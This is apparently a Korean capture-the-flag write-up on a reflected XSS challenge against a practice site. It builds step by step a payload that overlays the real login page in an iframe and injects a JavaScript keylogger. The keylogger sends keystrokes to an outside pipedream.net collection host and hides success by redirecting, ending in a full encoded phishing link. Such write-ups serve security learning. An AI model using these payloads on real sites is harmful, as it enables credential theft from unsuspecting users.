1 분 소요

XSS 란?

  • 크라이언트 측 스크립트를 삽입하는 공격이다.

XSS 7번 문제

  • 키로거를 삽입하여 사용자의 계정을 탈취하는 문제이다.

사이트 분석 및 취약점 탐색

로그인

  • POST 와 GET 두 방식으로 로그인이 가능하다.

로그인 실패 페이지

  • XSS 취약점이 존재한다.
    Pasted image 20230529012624
    Pasted image 20230529012643
  • 아이디 대신 스크립문을 삽입할 수 있다.
    Pasted image 20230529013321
    Pasted image 20230529013241

공격 시나리오

  1. login.html 에서 사용자가 로그인을 시도하는 것이 아닌 login.php에서 사용자가 로그인을 시도하도록 하자.
  2. login.php의 XSS 취약점을 이용하여 키로그를 삽입한다.
  3. 사용자에게 공격자가 준 링크를 통해 페이지에 방문하여 로그인 하도록 해야한다.

공격 시작

  1. alert 창 안뜨게 만들기. 첫번째 스크립트는 일부러 오류를 유발시켜 동작안되도록 하였다. 따라서 alert(1) 이 경고창으로 뜨는 것을 확인할 수 있다.
    <script>
    alert('[ id'
    </script>
    <script>
    alert(1);// ] ~~~');
    </script>
    <script>window.location.href='login.html';</script>
    
    완성 공격문 = id'</script><script>alert(1);//
    

    Pasted image 20230529015248

  2. href 를 통해 자동으로 리다이렉트 형상 막기. html 주석 처리 기능을 이용하여 href 스크립트 부부을 주석처리 해준다. 확인 버튼을 눌러도 login.html 로 리다이렉션하지 않고 login.php 에 머문다.
    <script>
    alert('[ id'
    </script>
    <script>
    alert(1);
    </script><!--// ] ~~~');
    </script>
    <script>window.location.href='login.html';</script>
    
    완성 공격문 = id'</script><script>alert(1);</script><!--//
    

    Pasted image 20230529020238
    Pasted image 20230529020302

  3. 사용자는 정상적인 로그인 페이지가 보여야한다. 따라서 iframe 을 통해 로그인 창 보이게 한다. 공격문을 id에 넣고 로그인을 하면 login.php 에서 로그인 페이지가 나오는 것을 확인할 수 있다.
    완성 공격문 =
    id'</script><iframe style="position:absolute;border:none;overflow:hidden;overflow-x:hidden;overflow-y:hidden;height:100%;width:100%;top:0px;left:0px;right:0px;bottom:0px" src='login.html'></iframe><!--//
    

    Pasted image 20230529022346

  4. 사용자가 입력하는 아이디와 비번을 알아내기위한 키로거를 넣어보자. 그리고 키로거를 이용하여 사용자 입력을 200ms 주기로 콘솔에 출력해보자.
    공격문 = 
    id'</script><iframe style="position:absolute;border:none;overflow:hidden;overflow-x:hidden;overflow-y:hidden;height:100%;width:100%;top:0px;left:0px;right:0px;bottom:0px" src='login.html' onload='load()'></iframe><script>var keys = "";function load(){var win = document.getElementsByTagName('iframe')[0].contentWindow;win.onkeydown=(e)=>{key = e.keyCode?e.keyCode:e.charCode;key = String.fromCharCode(key);keys += key;}}window.setInterval(function(){if(keys != ''){console.log(keys);keys='';}}, 200);</script><!--//
    

    Pasted image 20230529030914
    Pasted image 20230529030931

  5. 공격자 서버로 사용자 입력 보내기. 사용자의 입력을 Image 를 이용하여 공격자 서버로 보낸다.
    공격문 = 
    id'</script><iframe style="position:absolute;border:none;overflow:hidden;overflow-x:hidden;overflow-y:hidden;height:100%;width:100%;top:0px;left:0px;right:0px;bottom:0px" src='login.html' onload='load()'></iframe><script>var keys = "";var hackURL = "https://envs1y92en6c.x.pipedream.net/?v=";function load(){var win = document.getElementsByTagName('iframe')[0].contentWindow;win.onkeydown=(e)=>{key = e.keyCode?e.keyCode:e.charCode;key = String.fromCharCode(key);keys += key;}}window.setInterval(function(){if(keys != ''){new Image().src = hackURL+keys;keys='';}}, 1000);</script><!--//
    

    Pasted image 20230529035800 Pasted image 20230529040046 Pasted image 20230529035816

  6. 로그인에 성공하면 실제 메인 페이지를 보여줘야 의심이 안간다. 즉 로그인에 실패하면 iframe 내에서 로그인을 다시 시도해야하고, 성공하면 정상적으로 로그인 성공한 것으로 보이기위하여 index.php로 이동한다.
    공격문 = 
    id'</script><iframe style="position:absolute;border:none;overflow:hidden;overflow-x:hidden;overflow-y:hidden;height:100%;width:100%;top:0px;left:0px;right:0px;bottom:0px" src='login.html' onload='load()'></iframe><script>var keys = "";var hackURL = "https://enhrvcr5t8jsk.x.pipedream.net/?v=";function load(){var win = document.getElementsByTagName('iframe')[0].contentWindow;var s = win.location.href;if(s!='http://ctf.segfaulthub.com:4343/xss_7/login.html'){location.href="index.php";new Image().src = hackURL+"success";}else{new Image().src = hackURL+"fail";}win.onkeydown=(e)=>{key = e.keyCode?e.keyCode:e.charCode;key = String.fromCharCode(key);keys += key;}}window.setInterval(function(){if(keys != ''){new Image().src = hackURL+keys;keys='';}}, 1000);</script><!--//
    
    • 로그인 성공
      Pasted image 20230529042336
      Pasted image 20230529042328
    • 로그인 실패
      Pasted image 20230529042229
      Pasted image 20230529042237
  7. 로그인을 GET요청으로 할 수 있음으로 Reflected XSS 취약점으로 활용할 수있다. 따라서 Get요청으로 공격하기 위해서 id 파라미터에 공격 스크립트를 넣어 링크를 눌러 사용자가 접속하여 로그인 하도록 유도 하면 된다.
    http://ctf.segfaulthub.com:4343/xss_7/login.php?id=id%27%3C%2Fscript%3E%3Ciframe+style%3D%22position%3Aabsolute%3Bborder%3Anone%3Boverflow%3Ahidden%3Boverflow-x%3Ahidden%3Boverflow-y%3Ahidden%3Bheight%3A100%25%3Bwidth%3A100%25%3Btop%3A0px%3Bleft%3A0px%3Bright%3A0px%3Bbottom%3A0px%22+src%3D%27login.html%27+onload%3D%27load%28%29%27%3E%3C%2Fiframe%3E%3Cscript%3Evar+keys+%3D+%22%22%3Bvar+hackURL+%3D+%22https%3A%2F%2Fenhrvcr5t8jsk.x.pipedream.net%2F%3Fv%3D%22%3Bfunction+load%28%29%7Bvar+win+%3D+document.getElementsByTagName%28%27iframe%27%29%5B0%5D.contentWindow%3Bvar+s+%3D+win.location.href%3Bif%28s%21%3D%27http%3A%2F%2Fctf.segfaulthub.com%3A4343%2Fxss_7%2Flogin.html%27%29%7Blocation.href%3D%22index.php%22%3Bnew+Image%28%29.src+%3D+hackURL%2B%22success%22%3B%7Delse%7Bnew+Image%28%29.src+%3D+hackURL%2B%22fail%22%3B%7Dwin.onkeydown%3D%28e%29%3D%3E%7Bkey+%3D+e.keyCode%3Fe.keyCode%3Ae.charCode%3Bkey+%3D+String.fromCharCode%28key%29%3Bkeys+%2B%3D+key%3B%7D%7Dwindow.setInterval%28function%28%29%7Bif%28keys+%21%3D+%27%27%29%7Bnew+Image%28%29.src+%3D+hackURL%2Bkeys%3Bkeys%3D%27%27%3B%7D%7D%2C+1000%29%3B%3C%2Fscript%3E%3C%21--%2F%2F&pw=123
    
  8. 사용자가 로그인 창에 아이디와 비밀번호를 입력하면 공격자 서버로 아이디와 비밀번호가 전송된다.
    Pasted image 20230529042638
    Pasted image 20230529042652

후기

  • 키로거를 사용하여 공격자 서버로 직접 사용자의 입력을 받아보았다. url을 주의깊게 보지않는이상 사용자는 이상있는지 확인하기 어렵다는 것을 알 수 있었다. 키로거를 이용한 새로운 공격이라 흥미로웠다.

댓글남기기